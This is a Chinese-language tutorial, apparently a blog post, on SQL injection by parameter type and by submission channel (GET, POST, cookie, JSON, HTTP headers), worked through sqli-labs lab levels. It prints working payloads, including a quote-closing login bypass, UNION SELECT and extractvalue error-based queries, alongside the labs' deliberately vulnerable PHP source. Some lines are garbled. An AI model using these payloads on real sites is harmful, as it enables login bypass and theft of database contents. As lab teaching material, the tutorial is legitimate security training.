SQL注入之类型及提交注入
在真实 SQL 注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中我们也必须满足同等的操作才能进行注入。
一.简要明确参数类型
数字,字符,搜索,JsoN等
如果字符型是不能判断出数字的内容
可以使用sql语句干扰符号: ',",s,),}等,具体需看写法
$name=$_GET("x");
select * from use where name='name"';
1.sql注入数字和字符对比
字符:除数字之外都是字符
数字:0-9
两种SQL语句的区别:
数字型: SELECT 列 FROM 表 WHERE 数字型列=值
字符型: SELECT 列 FROM 表 WHERE 字符型列=‘值’
字符型注入就是把输入的参数当做字符串来对数据库进行查询,字符型注入在sql语句中都采用单引号括起来。
简而言之,基于字符型的SQL注入即存在SQL注入漏洞的URL参数为字符串类型(需要使用单引号表示)。
二、简要明确请求方法
GET, POST,COOKIE,REQUEST,HTTP头等
不同的请求方式,请求的数据类型、数据大小都不一样;
这个网站请求方法出现漏洞,要按照对应的请求方法,去测试注入
1.GET 和 POST请求的本质区别
最直观的区别就是GET把参数包含在URL中,POST通过request body传递参数。
(1)get方法是从服务器上获取资源;post方法是向服务器传送数据
比如你点击某篇文章的链接,浏览器就会发送GET请求给服务器,服务器就会返回这篇文章的所有文字及资源。
即:双向(有来有回)是get
单向(有去无回)是post
(2)使用Get请求时,参数在URL中显示,而使用Post方式,则不会显示出来
如果post中使用get请求的值是无法提交的.
2.$_COOKIE
浏览网页时,服务器将HTTP协议响应存储到浏览器上,浏览器可以在以后携带对应COOKIE数据访问服务器。
利用$_COOKIE访问COOkie数据。
3.$_request
全部接收
辨别方式:
可以通过更换请求方式判断四Get还是post
一级request。
4.$_SERVER
$_SERVER用于提供大量的与环境相关的信息
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。
元素/代码 | 描述 |
---|---|
$_SERVER[‘PHP_SELF’] | 当前执行脚本的文件名,与 document root 有关。 |
$_SERVER[‘GATEWAY_INTERFACE’] | 服务器使用的 CGI 规范的版本。 |
$_SERVER[‘SERVER_ADDR’] | 当前运行脚本所在的服务器的 IP 地址。 |
https://www.cnblogs.com/jianmingyuan/p/5900064.html
总结:要进行注入要找到相应的注入位置,使用对应的方法。
参数字符型注入测试案例
一、sqlilabs less 5关
1.当你输入 ?id=1 and 1=1页面正常
换id=1 and 1=12页面仍然正常
这时候进入靶场中源代码可以看到
s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = ′ sql="SELECT * FROM users WHERE id=' sql="SELECT∗FROMusersWHEREid=′id’ LIMIT 0,1";
发现$id上有单引号,表示把传入的id值当作了字符。
解决方法:
更换报错语句,判断存在字符型注入
http://10.1.1.133/Less-5/?id=1' and '1'='1 //正常
http://10.1.1.133/Less-5/?id=1' and '1'='2 //不正常
该关卡为无回显注入,注入方式后期补充
二、sqlilabs less 6关
源代码中
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
//采用双引号的方式进行了编码
'"'表名id前后都加上双引号
绕过方法
所以我们加上双引号,再另数值不相等,看它能不能报错;
双引号和前面的双引号闭合,-–+将后面的limit都注释掉;
"闭合前面的引号后面采用–+注释
http://192.168.234.133/sql/Less-6/?id='1 and 1=2--+
产生了报错
POST数据提交注入测试
POST数据提交注入测试通常需要遵循以下步骤:
- 确定测试范围:确定要测试的Web应用程序的范围和目标。
- 收集信息:收集应用程序的相关信息,包括应用程序的URL、功能和参数等。
- 构造测试用例:根据应用程序的功能和参数,构造一系列恶意的POST请求,包括SQL注入、命令注入、XSS等攻击向量。
- 发送测试请求:使用测试工具或手工发送构造好的POST请求,观察应用程序的响应结果和行为。
- 分析测试结果:根据测试结果和日志文件,分析应用程序是否存在POST数据提交注入漏洞,并评估漏洞的严重程度。
- 编写测试报告:将测试结果记录在测试报告中,并包括漏洞描述、攻击向量、严重程度和建议修复方法等信息。
- 修复漏洞:向应用程序的开发团队提供测试报告,并要求其尽快修复漏洞。
- 验证修复:重新进行测试,验证漏洞是否已经被修复。
总之,POST数据提交注入测试是Web应用程序安全测试的一个重要部分,可以帮助发现和修复Web应用程序中存在的安全漏洞,保障应用程序的安全性和可靠性。
用hackbar模拟post数据提交测试
以下操作使用hackbar进行渗透测试,hackbar安装地址:https://github.com/HCTYMFF/hackbar2.1.3
一、sqlilabs less 11
从这一关开始我们开始进入到post注入的世界了,什么是post呢?就是数据从客户端提交到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器再进行验证。这就是一次post的过程的。
1.输入账户,在burp抓包获取登录信息,为post请求
或者通过浏览器抓包:
找到注入点就在登录框附近 ,看到url为
uname=admin&passwd=1&submit=Submit
作为注入语句使用。
2.当我们输入
username:admin’
#Password:ddd(随便输)
显示错误了,可以从错误中分析到程序对参数进行单引号的处理。
3.这里我们可以在输入框输入万能密码来尝试一下。
这里username输入:admin’or’1’='1#,密码随意。
返回的正确的结果,那么原因是什么呢?
其实就是当我们提交username和password后,后台形成的sql语句为
@$sql="SELECT username,password FROM users WHERE username='admin'or'1'='1#and password='$passwd' LIMIT0,1";
查看php源代码,可以看到是单引号,要把单引号闭合
在#以后的内容就被注释掉,前面的内容因为or1=1恒成立,所以语句就成立,我们此时以admin的用户登录。那么接下来我们尝试用get注入中用到的其他的语句代替or1=1进行注入。
Mysql注入—sqlilabs—lcamry
注入语句:这里我们用union注入进行尝试:
为什么使用#号而不是–+,因为在get请求中–+的加号表示空格可以正常使用,而post请求中+号不表示空格,直接表示+号会报错
and 1=2 让前面的语句报错,#号把后面的语句也注释了
uname=admin' and 1=2 union select 1,2 #&passwd=admin&submit=Submit
出现回显:
查询数据库:
可以看到显示了database为security,这是我们比较常用的手法。还可以利用其他的方法进行注入。上述在get型注入中提到的语句都可以使用。当然了,还可以利用其他的方法进行注入.
参数JSON数据注入测试
=>本地环境代码演示
json格式
json注入
json={“username”: “dump’ and 1=2 union select 1, database(),3#”}
注入方式:如果是数字的可以不加’闭合如果是字符的话,加上"闭合
COOKIE数据提交注入测试
一、sqlilables less 20
抓取流量:
uname=admin&passwd=admin&submit=Submit
网站传递参数的方式
参数类型 | 含义 |
---|---|
get型 | 一般访问网页的行为 |
cookie型 | 伴随着所有访问网页的行为 |
post型 | 上传文件,登陆 |
cookie注入原理: 此关对post传递来的参数进行了过滤,但是忽略了cookie也可以传递参数。
因此我们尝试更换cookie中进行注入。
【cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。】
条件 | 含义 |
---|---|
条件1 | 程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤 |
条件2 | 条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。 |
将这个数据包发送到repeater模块当中
修改cookie参数Cookie: uname=admin' and 1=2 union select database(),2,3 #
注意:submit=Submit需要删除,如果设置了submit值就会报错。
HTTP头部参数数据注入测试
一、sqlilabs less 18
数据库源代码
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0, 1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
该关卡使用
$_SERVER[‘SERVER_ADDR’] | 获取了脚本所在服务器的 IP 地址 |
---|---|
从上面的SQL语句当中我们可以看到对执行的insert语句没有任何的限制也就是说我们通过修改http的头部信息可以达到SQL注入的效果。
root@eafc9e16990f:/var/www/html/Less-18# tail -36 index.php |head -2
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
echo $insert;
root@eafc9e16990f:/var/www/html/Less-18#
注入点:修改数据包注入获取数据库名称'and extractvalue (1,concat(0x7e,(select database()),0x7e)) and'
获取用户名